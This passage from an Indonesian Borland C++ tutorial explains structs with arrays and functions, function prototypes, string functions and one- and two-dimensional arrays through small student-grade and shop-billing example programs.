cout<<“masukan NIM = “<<nilai.mhs.nim<<endl;

cout<<“masukan Nama = “<<nilai.mhs.nama<<endl;

cout<<“masukan Nilai UTS = “<<nilai.nil.nil1<<endl;

cout<<“masukan Nilai UAS = “<<nilai.nil.nil2<<endl;

cout<<endl;

getch();

return(0);

}

 

Structure dengan Array

struct

{

elemen_struktur;

…..

…..

} nama_tipe_struktur[jml_index];

 

Contoh3:

#include <stdio.h>

#include <conio.h>

#include <iostream.h>

main()

{

int i,j=1;

struct

{

char nim[10];

char nama[15];

float nilai;

} mhs[5];

clrscr();

for(i=1;i<=2;i++)

{

cout<<“Data ke-“<<i<<endl;

cout<<“Masukkan NIM              : “;cin>>mhs[i].nim;

cout<<“Masukkan Nama             : “;cin>>mhs[i].nama;

cout<<“Masukkan Nilai Akhir      : “;cin>>mhs[i].nilai;

cout<<endl;

}

 

for(i=1;i<=2;i++)

{

cout<<“Data ke-“<<i<<endl;

cout<<“NIM         = “<<mhs[i].nim<<endl;

cout<<“Nama        = “<<mhs[i].nama<<endl;

cout<<“Nilai Akhir = “<<mhs[i].nilai<<endl;

cout<<endl;

}

getch();

}

 

Structure dengan Function

/* —————————————— */

/* Program Penggunaan structure pada function */

/* Nama File : struct4.cpp */

/* —————————————— */

#include<stdio.h>

#include<conio.h>

#include<iostream.h>

char ket(float n);

main()

{

int i, j=1, k=1;

struct

{

char nim[5];

char nama[15];

float nilai;

} mhs[5];

clrscr();

for(i=0; i<2; i++)

{

cout<<“Data Ke – “<<j++<<endl;

cout<<“masukan NIM = “; cin>>mhs[i].nim;

cout<<“masukan Nama = “; cin>>mhs[i].nama;

cout<<“masukan Nilai Akhir = “; cin>>mhs[i].nilai;

cout<<endl;

}

clrscr();

for(i=0; i<2; i++)

{

cout<<“Data Ke – “<<k++<<endl;

cout<<“NIM = “<<mhs[i].nim<<endl;

cout<<“Nama = “<<mhs[i].nama<<endl;

cout<<“Nilai Akhir = “<<mhs[i].nilai<<endl;

cout<<“Keterangan yang didapat = “;

cout<<ket(mhs[i].nilai)<<endl; cout<<endl;

}

getch();

}

char ket(float n)

{

if(n > 65)

return ‘L’;

else

return ‘G’;

}

 

Function (Fungsi) Borland C++

FUNGSI

 

Fungsi (Function) merupakan blok dari kode yang dirancang untuk melaksanakan tugas khusus.

Kegunaan dari fungsi ini adalah untuk:

|  Mengurangi pengulangan penulisan program yang berulangan atau sama.

|  Program menjadi lebih terstruktur, sehingga mudah dipahami dan dapat lebih dikembangkan.

 

Fungsi-fungsi yang sudah kita kenal sebelumnya adalah fungsi main(), yang bersifat mutlak, karena fungsi ini program akan dimulai, sebagai contoh yang lainnya fungsi printf(), cout() yang mempunyai tugas untuk menampilkan informasi atau data kelayar dan masih banyak lainnya.

 

Struktur Fungsi

nama_fungsi(argumen)

{

… pernyataan / perintah;

… pernyataan / perintah;

… pernyataan / perintah;

}

Keterangan:

Ø  Nama fungsi, boleh dituliskan secara bebas dengan ketentuan, tidak menggunakan spasi dan nama-nama fungsi yang mempunyai arti sendiri.

Ø  Argumen, diletakan diantara tanda kurung “( )” yang terletak dibelakang nama fungsi. Argumen boleh diisi dengan suatu data atau dibiarkan kosong.

Ø  Pernyataan / perintah, diletakan diantara tanda kurung ‘{ }’.

 

Pada pemanggilan sebuah fungsi, cukup dengan menuliskan nama fungsinya.

/* pembuatan fungsi garis() */

#include<conio.h>

#include<stdio.h>

#include<iostream.h>

garis()

{

printf(“\n———————-\n”);

}

/* program utama */

main()

{

clrscr();

garis(); //memanggil fungsi garis

cout<<“AMIK BSI – Salemba 22″<<endl;;

garis(); //memanggil fungsi garis

getche();

}

 

 

 

 

 

Prototipe Fungsi

Prototipe fungsi digunakan untuk mendeklarasikan ke kompiler mengenai: • Tipe data keluaran dari fungsi.

• Jumlah parameter yang digunakan

• Tipe data dari masing-masing parameter yang digunakan.

 

Keuntungan didalam pemakai prototipe yaitu :

•  Kompiler akan melakukan konversi antara tipe parameter dalam definisi dan parameter fungsi.

•  Jika jumlah parameter yang digunakan dalam definisi fungsi dan pada saat pemanggilan fungsi berbeda atau tidak sama, maka akan menunjukkan kesalahan.

 

Pernyataan return().

 

Digunakan untuk mengirimkan nilai atau nilai dari suatu fungsi kepada fungsi yang lain yang memanggilnya. Pernyataan return() diikuti oleh argumen yang berupa nilai yang akan dikirimkan. Contoh pemakaian pernyataan return() dapat dilihat pada contoh berikut ;

Contoh pengiriman data konstanta

/* ———————— */

/* Pengriman data Konstanta */

/* ———————— */

#include<conio.h>

#include<stdio.h>

#include<iostream.h>

luas(float sisi);

main()

{

float luas_bs;

clrscr();

luas_bs = luas(4.25);

cout<<“\nLuas Bujur Sangkar = “<<luas_bs;

getch();

}

luas(float sisi)

{

return(sisi*sisi);

}

 

Keterangan :

 

Dalam struktur program diatas dilihat bahwa, pernyataan luas_bs=luas(4.25), akan dikirimkan nilai kepada fungsi luas(), untuk diolah lebih lanjut, yang nilai tersebut akan ditampung pada variabel sisi. Selanjutnya didalam fungsi return terjadi perkalian sisi dengan sisi, setelah itu hasil perkalian tersebut dikirim balik ke variabel luas_bs yang memanggil fungsi.

 

 

Contoh Pengiriman data variable:

 

/* ———————— */

/* Pengriman data Variabel */

/* ———————— */

#include<conio.h>

#include<stdio.h>

#include<iostream.h>

luas(float sisi);

main()

{

float luas_bs, sisi_bs;

clrscr();

cout<<“\nMenghitung Luas Bujur Sangkar”<<endl;

cout<<“\nMasukan Nilai Sisi Bujur Sangkar : “;

cin>>sisi_bs;

luas_bs = luas(sisi_bs);

cout<<“\nLuas Bujur Sangkar = “<<luas_bs<<” Cm”;

getch();

}

luas(float sisi)

{ return(sisi*sisi); }

 

Latihan function

 

#include<stdio.h>

#include<iostream.h>

#include<conio.h>

potong(float harga,float disk);

garis ()

{

printf(“===============================”);

}

main()

{

char nama[20],jwb;

long int harga,total,disk;

ulang:

clrscr();

garis();

cout<<“\n\tToko Mas Jayakarta “<<endl;

cout<<“Nama Barang                       :”;cin>>nama;

cout<<“Harga Barang                      :”;cin>>harga;

if(harga<1000000)

disk=0;

else if(harga>=1000000&&harga<=5000000)

disk=harga*0.2;

else

disk=harga*0.35;

cout<<“Besar diskont yang diberikan   :”<<disk<<endl;

total=potong(harga,disk);

cout<<“Besar harga yang harus dibayar :”<<total<<endl;

cout<<“\n\tAnda Ingin Input Lagi [Y/T]:”;jwb=getche();

if(jwb==’Y’||jwb==’y’)

goto ulang;

getch();

}

potong(float harga,float disk)

{  return(harga-disk);  }

Operator String Borland C++

Operasi String

 

Fungsi strcat()

 

Fungsi ini digunakan untuk menambahkan string sumber kebagian akhir dari string tujuan.

File header yang harus disertakan adalah : string.h dan ctype.h

Bentuk Penulisan :

strcat(tujuan, sumber);

contoh1:

#include <stdio.h>

#include <conio.h>

#include <string.h>

#include <ctype.h>

#include <iostream.h>

main()

{

char a1[20];

char a2[20];

clrscr();

cout<<“Masukkan Kata – 1= “;

cin>>a1;

cout<<“Masukkan Kata – 2= “;

cin>>a2;

strcat(a1, a2);

cout<<“Hasil Penggabungannya “<<a1;

getch();

}

 

Fungsi strlen()

 

Fungsi ini digunakan untuk memperoleh banyaknya karakter dalam string. File header yang harus disertakan adalah : string.h

Bentuk Penulisan :

strlen(str);

 

Contoh2:

#include <stdio.h>

#include <conio.h>

#include <string.h>

#include <iostream.h>

main()

{

char huruf[20];

char pindah[20];

clrscr();

cout<<“Masukkan Sembarang Kata = “;

gets(huruf);

cout<<“Panjang Kata Yang Diinputkan = “;

cout<<strlen(huruf);

getch();

}

Fungsi strrev()

 

Penjelasan Fungsi ini digunakan untuk membalik letak urutan pada string. String urutan paling akhir dipindahkan keurutan paling depan dan seterusnya. File header yang harus disertakan adalah : string.h

Bentuk Penulisan :

strrev(str);

contoh3:

#include <stdio.h>

#include <conio.h>

#include <string.h>

#include <iostream.h>

main()

{

char kata[20];

clrscr();

cout<<“Masukan Sembarang Kata = “;

gets(kata);

strrev(kata);

cout<<“Hasil Perubahan = “<<kata;

getch();

}

 

Fungsi Strlwr()

Fungsi ini digunakan untuk mengubah setiap huruf kapital (huruf besar ) dalam string menjadi huruf kecil.

File header yang harus disertakan adalah : string.h

Bentuk Penulisan :

strlwr(str);

 

contoh4:

#include <stdio.h>

#include <conio.h>

#include <string.h>

#include <iostream.h>

main()

{

char kata[20];

clrscr();

cout<<“Masukan Sembarang Kata dengan Huruf Besar =”; gets(kata); strlwr(kata);

cout<<“Hasil Perubahan = “<<kata;

getch();

}

 

Fungsi strupr()

Fungsi ini digunakan untuk mengubah setiap huruf kecil dalam string menjadi huruf kapital ( huruf besar ).

File header yang harus disertakan adalah : string.h

Bentuk Penulisan :

strupr(str);

 

 

contoh5:

#include <stdio.h>

#include <conio.h>

#include <string.h>

#include <iostream.h>

main()

{

char kata[20];

clrscr();

cout<<“Masukan Sembarang Kata dengan Huruf Kecil=”;

gets(kata);

strupr(kata);

cout<<“Hasil Perubahan = “<<kata;

getch();

}

 

Larik / Array Borland C++

Latihan_IF:

#include <stdio.h>

#include <conio.h>

#include <iostream.h>

main()

{

char kd,judul[20],np[20],bonus[20],jwb;

int jumbel;

float harsat,j_pemby,dis,harber,tunj;

awal:

textbackground(0);

clrscr();

cout<<”  \n          Toko Kaset Utama  \n”<<endl;

cout<<“Nama Pembeli  : “;cin>>np;

cout<<“Kode [1/2/3]  : “;cin>>kd;

cout<<“Jumlah Beli   : “;cin>>jumbel;

cout<<“\n##################################”<<endl<<endl;

if(kd==’1′)

{

strcpy(judul,”We Will Not Gaza Tonight”);

strcpy(bonus,”Boneka cantik”);

harsat=18000;

}

else if(kd==’2′)

{

strcpy(judul,”Hero”);

strcpy(bonus,”mug lucu”);

harsat=20000;

}

else

{

strcpy(judul,”I turn To You”);

strcpy(bonus,”poster seru”);

harsat=21000;

}

j_pemby=harsat*jumbel;

if(jumbel>=5)

dis=0.15*j_pemby;

else

dis=0;

 

if(kd==’1′ &&jumbel>=5)

tunj=5000;

else

if(kd==’2’&&jumbel>=5)

tunj=6000;

else

if(kd==’3’&&jumbel>=5)

tunj=7000;

else

tunj=0;

 

harber=j_pemby-dis+tunj;

cout<<“Judul Lagu    : “<<judul<<endl;

cout<<“Bonus         : “<<bonus<<endl;

cout<<“Harga         : “<<harsat<<endl;

cout<<“Jumlah bayar  : “<<j_pemby<<endl;

cout<<“Discount      : “<<dis<<endl;

cout<<“Tunjangan     : “<<tunj<<endl;

cout<<“Total Bayar   : “<<harber<<endl<<endl;

cout<<“Mau Menghitung Lagi[Y/T]?”;jwb=getche();

if(jwb==’Y’||jwb==’y’)

goto awal;

getch();

}

Array / Larik

Variabel Larik atau lebih dikenal dengan ARRAY adalah adalah Tipe terstruktur yang terdiri dari sejumlah komponen-komponen yang mempunyai tipe yang sama. Suatu Array mempunyai jumlah komponen yang banyaknya tetap. Banyaknya komponen dalam suatu larik ditunjukan oleh suatu indek untuk membedakan variabel yang satu dengan variabel yang lainnya.

 

Array Berdimensi Satu

Bentuk Umum pendeklarasian array :

Tipe-Data Nama_Variabel[Ukuran]

Keterangan :

• Type Data : Untuk menyatakan type data yang digunakan.

• Ukuran : Untuk menyatakan jumlah maksimum elemen array.

 

Float Nil_Akhir[6];

 

 

 

Contoh1:

#include<conio.h>

#include<iostream.h>

#include<stdio.h>

#include<iomanip.h>

main()

{

int i;

char nama[5][20];

float nilai1[5];

float nilai2[5];

float hasil[5];

clrscr();

for (i=1;i<=2;i++)

{

cout<<“Data Ke- “<<i<<endl;

cout<<“Nama Siswa            :”;gets(nama[i]);

cout<<“Nilai Teori           :”;cin>>nilai1[i];

cout<<“Nilai Praktek         :”;cin>>nilai2[i];

hasil[i]=(nilai1[i]*0.40)+(nilai2[i]*0.60);

cout<<endl;

}

clrscr();

cout<<endl<<endl;

cout<<“———————————————–“<<endl;

cout<<“No.  Nama Siswa     Nilai   Nilai    Hasil     “<<endl;

cout<<”                    Teori   Praktek  Ujian     “<<endl;

cout<<“———————————————–“<<endl;

for (i=1;i<=2;i++)

{

cout<<setiosflags(ios::left)<<setw(4)<<i;

cout<<setiosflags(ios::left)<<setw(18)<<nama[i];

cout<<setprecision(2)<<”   “<<nilai1[i];

cout<<setprecision(2)<<”   “<<nilai2[i];

cout<<setprecision(2)<<”   “<<hasil[i]<<endl;

}

cout<<“———————————————–“<<endl;

getch();

}

Array Berdimensi Dua

Bentuk Umum pendeklarasian array :

Tipe-Data Nama_Variabel[index-1][index-2]

Keterangan :

• Type Data : Untuk menyatakan type data yang digunakan.

• Index-1 : Untuk menyatakan jumlah baris

• Index-2 : Untuk menyatakan jumlah kolom

 

Contoh2:

#include<conio.h>

#include<stdio.h>

#include<iostream.h>

#include<iomanip.h>

main()

{

int i, j;

int data_jual[4][4];

clrscr();

for(i=1;i<=3;i++)

{

for(j=1;j<=3;j++)

{

cout<<“Data Ke – “<<i<<” “<<j<<endl;

cout<<“Jumlah Penjulan : “; cin>>data_jual[i][j];

}

}

cout<<“Data Penjualan Pertahun”<<endl;

cout<<“———————–“<<endl;

cout<<“NO 2001 2002 2003″<<endl;

cout<<“———————–“<<endl;

for(i=1;i<=3;i++)

{

cout<<setiosflags(ios::left)<<setw(5)<<i;

for(j=1;j<=3;j++)

{

cout<<setiosflags(ios::right)<<setw(4);

cout<<data_jual[i][j]; cout<<” “;

}

cout<<endl;

}

cout<<“———————–“<<endl;

getch();

}

Latihan_array1:

Sebuah perusahaan ayam goreng dengan nama “GEROBAK FRIED CHICKEN” yang telah lumayan banyak pelanggannya, ingin dibantu dibuatkan program untuk membantu kelancaran usahaannya.

GEROBAK FRIED CHICKEN” mempunyai daftar harga ayam sebagai berikut :

Kode Jenis Harga

——————

D Dada  Rp. 2500

P Paha  Rp. 2000

S Sayap Rp. 1500

——————

 

Buatlah programnya dengan ketentuan :

• Setiap pembeli dikenakan pajak sebesar 10% dari pembayaran.

• Banyak Jenis, Jenis Potong dan Banyak Beli diinput.

• Tampilan yang diinginkan sebagai berikut :

 

Layar Masukkan

GEROBAK FRIED CHICKEN

———————

Kode Jenis Harga

———————

D Dada  Rp. 2500

P Paha  Rp. 2000

S Sayap Rp. 1500

———————

Banyak Jenis : … <diinput>

Jenis Ke –     … <proses counter>

Jenis Potong [D/P/S] : … <diinput>

Banyak Potong        : … <diinput>

… <<Terus berulang tergantung Banyak Jenis>>

Layar Keluaran

GEROBAK FIRED CHICHEN

———————————————–

No. Jenis      Harga      Bayak      Jumlah

Potong     Satuan     Beli       Harga

———————————————–

… ….       ….       ….       Rp ….

… ….       ….       ….       Rp ….

———————————————–

Jumlah Bayar         Rp ….

Pajak 10%            Rp ….

Total Bayar          Rp ….